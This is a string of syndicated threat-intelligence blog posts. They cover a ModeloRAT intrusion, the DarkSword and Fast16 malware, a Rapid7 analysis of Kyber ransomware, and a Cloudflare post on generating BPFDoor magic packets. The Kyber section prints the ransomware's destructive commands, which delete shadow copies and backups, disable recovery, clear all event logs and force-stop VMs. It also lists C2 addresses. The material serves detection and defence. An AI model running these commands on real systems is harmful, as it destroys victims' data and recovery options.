Microsoft5237.py:  HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py:  Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker’s tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn’t

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn’t the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn’t have, though, was the user’s domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can’t access user-specific resources, such as file shares requiring the user’s permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

TECHNIQUE ID

TECHNIQUE NAME

T1566.003

Phishing: Spearphishing via Service

T1204.002

User Execution: Malicious File

T1059.001

Command & Scripting: PowerShell

T1059.006

Command & Scripting: Python

T1218.011

System Binary Proxy Execution: Rundll32

T1106

Native API

T1053.005

Scheduled Task/Job: Scheduled Task

T1068

Exploitation for Privilege Escalation

T1134.001

Access Token Manipulation: Token Impersonation

T1134.004

Access Token Manipulation: Parent PID Spoofing

T1562.001

Impair Defenses

T1027

Obfuscated Files or Information

T1027.002

Software Packing

T1027.009

Embedded Payloads

T1620

Reflective Code Loading

T1036.005

Masquerading

T1140

Deobfuscate/Decode Files or Information

T1112

Modify Registry

T1055

Process Injection

T1056.002

Input Capture: GUI Input Capture

T1558.003

Steal or Forge Kerberos Tickets: Kerberoasting

T1003.001

OS Credential Dumping: LSASS Memory

T1003

OS Credential Dumping

T1018

Remote System Discovery

T1087.002

Account Discovery: Domain Account

T1082

System Information Discovery

T1016

System Network Configuration Discovery

T1033

System Owner/User Discovery

T1083

File and Directory Discovery

T1021.006

Remote Services: WinRM

T1021.001

Remote Services: RDP

T1570

Lateral Tool Transfer

T1071.001

Application Layer Protocol: Web Protocols

T1095

Non-Application Layer Protocol

T1090.001

Proxy: Internal Proxy

T1090.002

Proxy: External Proxy

T1572

Protocol Tunneling

T1573

Encrypted Channel

T1132.001

Data Encoding: Standard Encoding

T1568

Dynamic Resolution

T1567.002

Exfiltration Over Web Service

T1041

Exfiltration Over C2 Channel

Indicators of compromise (IOCs)

Category

Indicator Type

Value

Attacker Infrastructure

Rogue M365 Tenant (Sender)

[email protected]

Attacker Infrastructure

Tenant GUID

cdc15b4d-6fd6-4e90-9ee9-357fea475047

Attacker Infrastructure

Client Hostnames

RICARDOGARC05B2, KALI-LINUX-2025-2

Attacker Infrastructure

Initial Access Vector

MS Teams external chat (Impersonating “IT Support”)

Network C2

Pmanager.py (ModeloRAT Beacon)

46.225.231.170, 144.172.99.68, 64.94.85.158, 140.82.6.45, 45.76.241.51 

Network C2

collector.py (Exfiltration)

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

internal.py / Microsoft5237.py

87.120.186.229, 149.248.78.202 (Port 80)

Network C2

USOShared1297.py (TCP Shell)

144.172.88.18, 64.190.113.187, 45.59.122.231 (Ports 50508, 60503)

Network C2

PCDr6967.py (SOCKS5)

96.9.125.29, 144.172.111.49, 104.194.152.246 (Port 50504)

Network C2

Dell508.py (HTTP Tunnel)

207.246.114.50, 149.28.96.170 (Port 80)

Persistence Host

Cloud Files Provider Name

PLURIBUS

Persistence Host

Cloud Files Provider GUID

{904EE598-0511-4664-82A8-22C4A7501044}

Persistence Host

Registry Persistence Key

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager\PLURIBUS!*

Persistence Host

Sync Root Path

%TEMP%\cldflt\

Persistence Host

Placeholder File

%TEMP%\cldflt\Link.log

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

  • ModeloRAT pivoted from browser extensions to Teams social engineering.
  • Portable Python environments bypass traditional EDR signatures.
  • CVE-2023-36036 remains effective despite patch availability.
  • Fake lock screens can harvest credentials even with SYSTEM access.
  • WebDAV API abuse provides stealthy credential validation.

It took two days to go from “Hi, this is IT support” to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is  how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

DarkSword Malware

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/05/darksword-malware.html

DarkSword is a sophisticated piece of malware—probably government designed—that targets iOS.

Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.

DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.

A week after it was identified, a version of it leaked onto the internet, where it is being used more broadly.

This news is a month old. Your devices are safe, assuming you patch regularly.

Fast16 Malware

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/04/fast16-malware.html

Researchers have reverse-engineered a piece of malware named Fast16. It’s almost certainly state-sponsored, probably US in origin, and was deployed against Iran years before Stuxnet:

“…the Fast16 malware was designed to carry out the most subtle form of sabotage ever seen in an in-the-wild malware tool: By automatically spreading across networks and then silently manipulating computation processes in certain software applications that perform high-precision mathematical calculations and simulate physical phenomena, Fast16 can alter the results of those programs to cause failures that range from faulty research results to catastrophic damage to real-world equipment.”

Another news article.

Lots of interesting details at the links.

Kyber Ransomware Double Trouble: Windows and ESXi Attacks Explained

Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-kyber-ransomware-double-trouble-windows-esxi-attacks-explained

Overview

For executive leadership, the emergence of Kyber ransomware represents a significant and immediate threat due to its specialized, dual-platform deployment capability targeting mission-critical virtualization infrastructure (VMware ESXi) and core Windows file systems. This cross-platform approach, coupled with effective anti-recovery measures, drastically elevates the risk of a total operational disruption. Organizations should treat Kyber not merely as another ransomware strain, but as a specialized tool capable of causing a complete operational blackout. Recent real-world incidents have demonstrated that this approach can result in large-scale operational impact across enterprise environments.

During a March 2026 incident response engagement, Rapid7 recovered two Kyber ransomware payloads deployed in the same environment, one targeting VMware ESXi infrastructure and the other Windows file servers. This provided a rare opportunity to analyze both variants side by side. In March 2026, Rapid7 recorded over 900 ransomware incidents being publicly reported.

The ESXi variant is specifically built for VMware environments, with capabilities for datastore encryption, optional virtual machine termination, and defacement of management interfaces. The Windows variant, written in Rust, includes a self-described “experimental” feature for targeting Hyper-V.

Despite these differences, both samples share a campaign identifier and Tor-based ransom infrastructure, confirming coordinated cross-platform deployment. Notably, the ransomware’s cryptographic claims are not consistent across variants. The ESXi sample advertises “post-quantum” encryption using Kyber1024, but in practice relies on ChaCha8 with RSA-4096 key wrapping, while the Windows variant does implement the advertised hybrid scheme. As usual, ransom notes prove to be more aspirational than accurate.

Kyber is a relatively new ransomware group that has recently gained visibility. Despite this, public technical analysis of the malware remains limited. The lack of spotlight on the group presented an opportunity to share our findings with the community.

Technical analysis

Kyber is a cross-platform ransomware family targeting Linux/ESXi and Windows environments. Both variants share Tor infrastructure and a campaign ID, but differ in programming language they are written, crypto, and features. While both reference the same encryption scheme in their ransom notes, only the Windows variant appears to implement it as described.

Property

ELF (Linux/ESXi)

PE (Windows)

Language

C++, GCC 4.4.7 (2012)

Rust, MSVC 19.36 / VS2022

Actual crypto

ChaCha + RSA-4096

AES-256-CTR + Kyber1024 + X25519

Note claims

AES + X25519 + Kyber

AES + X25519 + Kyber

Extension

.xhsyw

.#~~~

Ransom note

readme.txt

READ_ME_NOW.txt

VM targeting

Native esxcli

PowerShell Get-VM (experimental)

Anti-recovery

None

11 commands (elevation required)

In addition, both variants share a common campaign ID and Tor-based infrastructure, including a negotiation portal and leak site, indicating coordinated operations across platforms.

Campaign ID: 5176[REDACTED]

Tor chat: Mlnmlnnrdhcaddwll4zqvfd2vyqsgtgj473gjoehwna2v4sizdukheyd[.]onion

Tor blog: Kyblogtz6k3jtxnjjvluee5ec4g3zcnvyvbgsnq5thumphmqidkt7xid[.]onion

Chat path: /chat/5176[REDACTED]

Linux/ESXi variant

The Linux/ESXi variant SHA-256: 6ccacb7567b6c0bd2ca8e68ff59d5ef21e8f47fc1af70d4d88a421f1fc5280fc is a 64-bit ELF executable, not stripped, written in C++ and statically linked against OpenSSL 1.0.1e-fips.

The sample was developed to target ESXi environments. As shown in Figure 2, the help text for the required path argument explicitly references the datastore path /vmfs/volumes, the root directory in VMware ESXi hosts where VMFS (Virtual Machine File System) datastores are mounted. The malware also relies on ESXi-native tooling esxcli and targets VMware-specific paths and artifacts.

target-path-binary-help-text-names-vmfs-volumes.png
Figure 1: The binary’s help text names /vmfs/volumes as the intended target path.

The execution flow is straightforward:

  1. Parse CLI arguments (path required, size validated 0–100)

  2. Initialize logging (optional)

  3. Optionally enumerate and terminate VMs (vmkill)

  4. Load embedded RSA-4096 public key

  5. Initialize thread pool (capped at 12 threads)

  6. Traverse directories and submit encryption jobs

Background execution

To ensure encryption continues after an SSH session ends, the malware implements a detach flag. When enabled, it forks and exits the parent process, allowing the child to run in the background. The child then calls setsid() to detach from the controlling terminal, avoiding the SIGHUP signal typically sent when a session closes.

This allows the attacker to disconnect safely while encryption of /vmfs/volumes datastores continues uninterrupted in the background.

Targeting VMware

If the vmkill flag is set, the binary enumerates all running VMs before starting encryption. It forks a child process that executes the ESXi-native management command esxcli vm process list, redirecting its output to a temporary file via dup2(). The output is then parsed line by line to extract Display Name and World ID pairs.

If a whitelist is provided via the whitelist argument, matching VMs are skipped. All other VMs are terminated sequentially using esxcli vm process kill type=soft world-id <id>, with the parent process waiting for each shutdown to complete before proceeding.

Two implementation choices stand out here. First, the ransomware uses fork/execlp rather than system(). By calling fork() and then execlp() directly, ransomware developers bypass the shell entirely. This means the arguments are passed as a null-terminated array of strings (argv) directly to the execve system call. If a VM name contained a space or a special character, a system() call might crash or behave unexpectedly, but execlp ensures the command is executed exactly as intended. This suggests the developer is familiar with low-level system programming.

Second, the use of type=soft requests a graceful shutdown rather than a forced termination. This likely reduces the risk of corrupting VM disk state prior to encryption. After issuing shutdown commands, the binary sleeps briefly for about ~2 seconds before continuing, allowing ESXi to complete the operation. 

Directory traversal

The malware performs a recursive directory walk to identify targets. Interestingly enough, it drops a readme.txt ransom note into every folder before the encryption routine begins. The traversal logic does not follow symbolic links, as traversing them can lead to unexpected areas of the filesystem. The sample does not implement an extension allowlist. Files are encrypted unless explicitly excluded.

The binary explicitly ignores files with the following extensions or names:

.xhsyw (already encrypted)
.locksignal, .processing, .cryptdata_backup
.tmp, readme.txt
.sf (VMware System Files)

Figure 2: Confirmed exclusion list from protecting in-progress files, already-encrypted files, and VMware system files from double-processing.

Encryption: marketing vs reality

The ransom note claims that for encryption it uses AES-256-CTR, X25519 and Kyber1024 algorithms. 

Ransom-note-embedded-ELF.png
Figure 3: Ransom note embedded in the ELF binaries claims AES-256-CTR and X25519/Kyber1024 algorithms.

Our technical analysis, however, says otherwise. Decompilation of the core encryption logic shows the cipher is actually ChaCha8. Two indicators support this conclusion. First, in the ECRYPT_encrypt_bytes subroutine (Figure 5) the loop executes 8 rounds (i = 8; i > 0; i -= 2), and the code applies 32-bit right rotations with constants 16, 20, 24, and 25. These correspond to the standard ChaCha left-rotation constants (16, 12, 8, and 7) defined in RFC 8439.

IDA-decompilation-ECRYPT-encrypt-bytes-function.png
Figure 4: IDA decompilation of ECRYPT_encrypt_bytes function

Second, the ECRYPT_keysetup function (Figure 6) uses the “expand 32-byte k” sigma constant. For 256-bit keys, the malware initializes its state by placing this constant in words 0–3 and the key in words 4–11 — mirroring the standard ChaCha layout.

IDA-decompilation-ECRYPT-keysetup-function.png
Figure 5: IDA decompilation of ECRYPT_keysetup function

OpenSSL is statically linked but only handles RSA-4096 key wrapping. We did not find any “post-quantum”. The operator likely just copy-pasted the ransom note from a Windows variant that actually supports Kyber1024.

Partial encryption strategy

Partial encryption logic is size-based encryptFilePartly() function.

  • Files under 1MB: entire file encrypted

  • Files between 1MB and 4MB: first 1MB encrypted

  • Files above 4 MB: only a calculated portion of each file is encrypted, with the proportion controlled by size; the program validates this value as 0–100 in main(), and the default observed setting is 10.

  • This approach significantly reduces encryption time while still rendering large files (e.g., VMDKs) unusable.

Encryption workflow

Each file is encrypted with a unique ChaCha8 key. Before encrypting the file, the binary creates a .locksignal file and renames the original to .processing to prevent concurrency. It then checks the last 535 bytes for a metadata trailer containing the markers KYBER, CDTA, and ATDC. If these are present, the file is skipped as already encrypted.

For new targets, the malware generates a 40-byte key/IV set and wraps it using an embedded RSA-4096 public key. This metadata is appended to the file and verified before encryption begins. A redundant copy is also saved as <file>.cryptdata_backup. Encryption is performed in-place in 1 MB chunks. On success, the file is renamed from .processing to .xhsyw. Any files left with the .processing suffix indicate an interrupted or failed encryption attempt.

Defacing every entry point

Even before encryption, ransomware binary replaces three specific files:

  • SSH Access replaces /etc/motd (Message of the Day), displaying the ransom note immediately to anyone logging in via SSH.

  • Web Management replaces the VMware web UI index pages at both /usr/lib/vmware/hostd/docroot/index.html and the Host Client interface at /usr/lib/vmware/hostd/docroot/ui/index.html.

Whether an administrator logs in via SSH or hits the web management portal, they are immediately met with the ransom note. On non-ESXi systems where these paths don’t exist, the rename fails gracefully and execution continues.

Execution-log-from-REMnux-test.png
Figure 6: Execution log from REMnux test: defacement fails gracefully on non-ESXi, encryption proceeds.

Windows variant

The Windows sample SHA-256: 45bff0df2c408b3f589aed984cc331b617021ecbea57171dac719b5f545f5e8d is a 64-bit PE executable written in Rust and compiled with MSVC (VS2022). Much like the ESXi variant, the Windows binary as well is not packed, obfuscated, or even stripped. It retains full Rust panic strings and cargo dependency paths, including the build path C:\Users\user\.cargo\registry\src\index.crates.io-6f17d22bba15001f.

Additionally, the binary’s version flag reveals the project name as win_encryptor 1.0.

Ransomwares-CLI-interface.png
Figure 7: Ransomware’s CLI interface

The Windows binary exposes a minimal CLI (Figure 8), requiring the path argument to specify the target directory. It also includes system flag which is self-described as “experimental” and intended to enforce a hard-stop on Hyper-V virtual machines.

Ransomware initializes full runtime initialization, even if invoked with just help flag. It aggregates entropy from four sources: system time, Windows CSPRNG, processor-based entropy via RDRAND, and running process data and producing ~30 KB of randomness to seed an internal AES-CTR DRBG. Unlike typical ransomware, which often relies only on BCryptGenRandom, this strain implements a custom entropy pipeline which suggests the developer cared about key material quality.

After initialization, the binary checks whether it is running with elevated privileges by attempting to acquire SeDebugPrivilege and logs are printed to the console (see Figure 8).

This privilege check determines if the destructive commands will be executed. Without elevation, the binary only does file encryption. With elevation, it unlocks its full toolkit: killing services, modifying the registry, and wiping shadow copies to prevent recovery.

Service termination and anti-recovery

When running with elevated privileges the binary first terminates services matching five patterns: msexchange, vss, backup, veeam, and sql using OpenSCManagerA, EnumServicesStatusA, and ControlService API calls. The malware forces the system locale to en-US before service enumeration. This normalization makes certain that pattern matching for service names remains reliable regardless of the victim’s native system language.

It then executes 11 commands via CreateProcessW that you can see in the table below

#

Command

Purpose

1

powershell -ep bypass -nop -c “Get-WmiObject -Class Win32_ShadowCopy \| ForEach-Object { $_.Delete() }”

Delete VSS shadow copies via WMI

2

wmic.exe SHADOWCOPY DELETE /nointeractive

Delete shadow copies via WMIC

3

vssadmin.exe Delete Shadows /all /quiet

Delete shadow copies via vssadmin

4

bcdedit.exe /set {default} recoveryenabled No

Disable Windows Recovery Environment

5

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Suppress boot failure prompts

6

wbadmin DELETE SYSTEMSTATEBACKUP

Delete system state backups

7

wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest

Delete oldest system state backup

8

iisreset.exe /stop

Stop IIS to release locked web files

9

reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f

Increase SMB concurrent connections

10

for /F “tokens=*” %i in (‘wevtutil el’) do wevtutil cl “%i”

Clear all Windows event logs

11

rd /s /q C:\$Recycle.Bin

Empty the Recycle Bin

Table 2: 11 commands executed by ransomware if it ran with elevated privilege

Hyper-V shutdown

If system flag is set, the binary enumerates Hyper-V virtual machines via PowerShell before encryption:

Get-VM | select VMId, Name | ConvertTo-Json
Stop-VM -Force -TurnOff

Figure 8: PowerShell commands used for Hyper-V termination.

Each VM is terminated with a “hard stop” (-TurnOff) which forces an abrupt shutdown, releasing file locks so the malware can encrypt. As noted in the CLI help text, the developer currently considers this Hyper-V functionality “experimental.”

File encryption workflow

For each file, the binary checks for a prior encryption marker to avoid redundant processing. If the file is locked, the malware uses the Windows Restart Manager to identify and terminate the responsible process. If access is still denied, it modifies the file’s permissions (ACL) to Everyone:FullControl and clears the read-only attribute. It retries this entire sequence up to three times per file to ensure it can successfully open and encrypt the data.

Once encryption succeeds, the file is renamed with the .#~~~ extension, and a READ_ME_NOW.txt ransom note is dropped in the directory. Each successful operation is logged to the console as Successfully encrypted <file>. File size: <size>. To maintain system stability and to keep the OS bootable, the malware excludes critical system directories and files from encryption listed below:

$recycle.bin,perflog,system volume information,thumb,programdata,appdata,microsoft,netframework,c$, all users

Figure 9: Skipped directories

READ_ME_NOW.txt,lockerlog_*,processed_file.icon,ntuser.dat,ntuser.dat.log,ntuser.ini,desktop.ini,autorun.inf,ntldr,bootsect.bak,thumbs.db,boot.ini,iconcache.db,bootfont.bin

Figure 10: Skipped files

Cryptography

Unlike the Linux variant, this sample actually uses what it claims: Kyber1024 and AES-256-CTR.

The sample uses a hybrid encryption design. The embedded public key is validated against the expected Kyber1024 public key size of 1568 (0x620) bytes.

Public-key-size-check-with-branch-to-error-on-mismatch.png
Figure 11: Public key size check (1,568 bytes / 0x620) with branch to error on mismatch

Following validation, the sample initializes an AES-256 CTR context using a 32-byte key, which it expands into a 60-word key schedule.

This confirms that Kyber is not used for direct file encryption. Instead, Kyber1024 protects the symmetric key material, while AES-CTR handles bulk data encryption. 

Registry artifacts and icon registration

When executed with elevated privileges, the malware assigns a custom icon to encrypted files by registering the .#~~~ extension. It creates C:\fucked_icon\ directory, writes processed_file.icon to that location, and configures it in the registry as the default icon.

Regedit-output-kyber.png
Figure 12: Regedit output after execution of Kyber with elevated privileges

The malware executes ie4uinit.exe to refresh the shell icon cache. This forces Windows to display the new icons immediately across the filesystem without a system restart.

Mutex

The choice of the mutex is interesting. The mutex name boomplay[.]com/songs/182988982 is stored as a wide string in .rdata and appears to be a link to a song on Boomplay, which is a legitimate African music streaming platform. We were unable to identify the specific track due to geo-restrictions we could not bypass.

Mitigation guidance

Based on the observed Tactics, Techniques, and Procedures (TTPs), organizations should focus on the following defensive actions:

Harden virtualization infrastructure (T1021.004)

Kyber’s reliance on SSH for ESXi host access and native tooling like esxcli highlights critical control points.

  • Implement least-privilege access for ESXi shell and SSH, ideally disabling them entirely unless required for maintenance.

  • Enforce multi-factor authentication (MFA) on all management interfaces and accounts.

  • Monitor esxcli execution for VM termination (vm process kill) or configuration changes, which are late-stage indicators of compromise.

Prevent anti-recovery (T1485, T1070.001, T1562.001)

Kyber uses 11 distinct commands to impair defenses, including VSS deletion and log clearing.

  • Restrict execution: Prevent unprivileged users from executing command-line utilities like vssadmin.exe, wmic.exe, and wevtutil.exe.

  • Protect backups: Ensure backups (especially Veeam/SQL targets) are immutable and stored off-host or in segregated network segments that the Windows variant cannot reach, even with elevated privileges. The ransomware explicitly targets these services and file systems.

Detection focus (lateral movement & defacement):

  • Monitor for defacement artifacts: Actively monitor for changes to VMware’s management files (/etc/motd, /usr/lib/vmware/hostd/docroot/index.html, etc.) in ESXi environments.

  • Custom entropy check: The Windows variant’s custom entropy pipeline suggests an effort to ensure key quality. Analysts should incorporate the provided IOCs (mutex: boomplay[.]com/songs/182988982) and file extensions into their detection rules.

MITRE ATT&CK techniques

ID

Technique

Use 

T1486

Data Encrypted for Impact

Primary objective for both variants.

T1485

Data Destruction

Deletion of shadow copies and backups via vssadmin and wmic.

T1489

Service Stop

Terminating ESXi processes and Windows database services.

T1070.001

Indicator Removal: Clear Windows Event Logs

Using wevtutil to clear logs after infection.

T1021.004

Remote Services: SSH

Primary vector for interacting with ESXi hosts.

T1562.001

Impair Defenses: Disable or Modify Tools

Disabling Windows Recovery Environment and boot failure prompts.

Indicators of compromise (IOCs)

Type

Indicator

Description

SHA-256

6ccacb7567b6c0bd2ca8e68ff59d5ef21e8f47fc1af70d4d88a421f1fc5280fc

Linux/ESXi ELF Binary

SHA-256

45bff0df2c408b3f589aed984cc331b617021ecbea57171dac719b5f545f5e8d

Windows Rust Binary

SHA-256

4ed176edb75ae2114cda8cfb3f83ac2ecdc4476fa1ef30ad8c81a54c0a223a29

Old Windows Variant

Extension

.xhsyw

Encrypted file extension (Linux)

Extension

.#~~~

Encrypted file extension (Windows)

Filename

readme.txt / READ_ME_NOW.txt

Ransom notes

Mutex

boomplay.com/songs/182988982

Mutex used by the Windows variant

Conclusion

Kyber ransomware isn’t a masterpiece of complex code, but it is highly effective at causing destruction. It reflects a shift toward specialization over sophistication. The operators didn’t need custom exploits or zero-days, because they didn’t have to use them. Instead, they simply used the standard ransomware playbook of abusing native tools like esxcli and vssadmin, and it was enough.

The encryption claims in the ransom note aren’t the main story. If anything, they highlight a gap between the campaign’s marketing and its execution. The sophistication of the defense must now be measured against the attacker’s specialization, not their code complexity. Ignoring Kyber’s multi-platform nature is an acceptance of a total operational blackout.

From bytecode to bytes: automated magic packet generation

Post Syndicated from Axel Boesenach original https://blog.cloudflare.com/from-bpf-to-packet/

Linux malware often hides in Berkeley Packet Filter (BPF) socket programs, which are small bits of executable logic that can be embedded in the Linux kernel to customize how it processes network traffic. Some of the most persistent threats on the Internet use these filters to remain dormant until they receive a specific “magic” packet. Because these filters can be hundreds of instructions long and involve complex logical jumps, reverse-engineering them by hand is a slow process that creates a bottleneck for security researchers.

To find a better way, we looked at symbolic execution: a method of treating code as a series of constraints, rather than just instructions. By using the Z3 theorem prover, we can work backward from a malicious filter to automatically generate the packet required to trigger it. In this post, we explain how we built a tool to automate this, turning hours of manual assembly analysis into a task that takes just a few seconds.

The complexity ceiling

Before we look at how to deconstruct malicious filters, we need to understand the engine running them. The Berkeley Packet Filter (BPF) is a highly efficient technology that allows the kernel to pull specific packets from the network stack based on a set of bytecode instructions.

While many modern developers are familiar with eBPF (Extended BPF), the powerful evolution used for observability and security, this post focuses on “classic” BPF. Originally designed for tools like tcpdump, classic BPF uses a simple virtual machine with just two registers to evaluate network traffic at high speeds. Because it runs deep within the kernel and can “hide” traffic from user-space tools, it has become a favorite tool for malware authors looking to build stealthy backdoors.

Creating a contextual representation of BPF instructions using LLMs is already reducing the manual overhead for analysts, crafting the network packets that correspond to the validating condition can still be a lot of work, even with the added context provided by LLM’s.

Most of the time this is not a problem if your BPF program has only ~20 instructions, but this can get exponentially more complex and time-consuming when a BPF program consists of over 100 instructions as we’ve observed in some of the samples.

If we deconstruct the problem we can see that it boils down to reading a buffer and checking a constraint, depending on the outcome we either continue our execution path or stop and check the end result.

This kind of problem that has a deterministic outcome can be solved by Z3, a theorem prover that has the means to solve problems with a set of given constraints.

Exhibit A: BPFDoor

BPFDoor is a sophisticated, passive Linux backdoor, primarily used for cyberespionage by China-based threat actors, including Red Menshen (also known as Earth Bluecrow). Active since at least 2021, the malware is designed to maintain a stealthy foothold in compromised networks, targeting telecommunications, education, and government sectors, with a strong emphasis on operations in Asia and the Middle East.

BPFDoor uses BPF to monitor all incoming traffic without requiring a specific network port to be open. 

BPFDoor example instructions

Let’s focus on the sample of which was shared for the research done by Fortinet (82ed617816453eba2d755642e3efebfcbd19705ac626f6bc8ed238f4fc111bb0). If we dissect the BPF instructions and add some annotations, we can write the following:

(000) ldh [0xc]                   ; Read halfword at offset 12 (EtherType)
(001) jeq #0x86dd, jt 2, jf 6     ; 0x86DD (IPv6) -> ins 002 else ins 006
(002) ldb [0x14]                  ; Read byte at offset 20 (Protocol)
(003) jeq #0x11, jt 4, jf 15      ; 0x11 (UDP) -> ins 004 else DROP
(004) ldh [0x38]                  ; Read halfword at offset 56 (Dst Port)
(005) jeq #0x35, jt 14, jf 15     ; 0x35 (DNS) -> ACCEPT else DROP
(006) jeq #0x800, jt 7, jf 15     ; 0x800 (IPv4) -> ins 007 else DROP
(007) ldb [23]                    ; Read byte at offset 23 (Protocol)
(008) jeq #0x11, jt 9, jf 15      ; 0x11 (UDP) -> ins 009 else DROP
(009) ldh [20]                    ; Read halfword at offset 20 (fragment)
(010) jset #0x1fff, jt 15, jf 11  ; fragmented -> DROP else ins 011
(011) ldxb 4*([14]&0xf)           ; Load index (x) register ihl & 0xf
(012) ldh [x + 16]                ; Read halfword at offset x+16 (Dst Port)
(013) jeq #0x35, jt 14, jf 15     ; 0x35 (DNS) -> ACCEPT else DROP
(014) ret #0x40000 (ACCEPT)
(015) ret #0 (DROP)

In the above example we can establish there are two paths that lead to an ACCEPT outcome (step 5 and step 13). We can also clearly observe certain bytes being checked, including their offsets and values. 

Taking these validations, and keeping track of anything that would match the ACCEPT path, we should be able to automatically craft the packets for us.

Calculating the shortest path

To find the shortest path to a packet that validates the conditions presented in the BPF instructions, we need to keep track of paths that are not ending in the unfavorable condition.

We start off by creating a small queue. This queue holds several important data points:

  • The pointer to the next instruction.

  • Our current path of executed instructions + the next instruction.

Whenever we encounter an instruction that is checking a condition, we keep track of the outcome using a boolean and store this in our queue, so we can compare paths on the amount of conditions before the ACCEPT condition is reached and calculate our shortest path. In pseudocode we can express this best as:

paths = []
queue = dequeue([(0, [0])])

while queue:
	pc, path = queue.popleft()

	if pc >= len(instructions):
            continue

instruction = instructions[pc]
	
	if instruction.class == return_instruction:
		if instruction_constant != 0:  # accept
			paths.append(path)
		continue  # drop or accept, stop parsing this instruction

if instruction.class == jump_instruction:
	if instruction.operation == unconditional_jump:
		next_pc = pc + 1 + instruction_constant
		queue.append((next_pc, path + [next_pc]))
		continue

	# Conditional jump, explore both
	pc_true = pc + 1 + instruction.jump_true
	pc_false = pc + 1 + instruction.jump_false
	
	if instruction.jump_true <= instruction.jump_false:
		queue.append((pc_true, path + [pc_true]))
		queue.append((pc_false, path + [pc_false]))
	# else: same as above but reverse order of appending
# else: sequential instruction, append to the queue

If we execute this logic against our earlier BPFDoor example, we will be presented with the shortest path to an accepted packet:

(000) code=0x28 jt=0 jf=0  k=0xc     ; Read halfword at offset 12 (EtherType)
(001) code=0x15 jt=0 jf=4  k=0x86dd  ; IPv6 packet
(002) code=0x30 jt=0 jf=0  k=0x14    ; Read byte at offset 20 (Protocol)
(003) code=0x15 jt=0 jf=11 k=0x11    ; Protocol number 17 (UDP)
(004) code=0x28 jt=0 jf=0  k=0x38    ; Read word at offset 56 (Destination Port)
(005) code=0x15 jt=8 jf=9  k=0x35    ; Destination port 53
(014) code=0x06 jt=0 jf=0  k=0x40000 ; Accept

This is already a helpful automation in automatically solving our BPF constraints when it comes to analyzing BPF instructions and figuring out how the accepted packet for the backdoor would look. But what if we can take it a step further?

What if we could create a small tool that will give us the expected packet back in an automated manner?

Employing Z3 and scapy

One such tool that is perfect to solve problems given a set of constraints is Z3. Developed by Microsoft the tool is labeled as a theorem prover and exposes easy to use functions performing very complex mathematical operations under the hood.

The other tool we will use for crafting our valid magic packets is scapy, a popular Python library for interactive packet manipulation.

Given that we already have a way to figure out the path to an accepted packet, we are left with solving the problem by itself, and then translating this solution to the bytes at their respective offsets in a network packet.

Symbolic execution

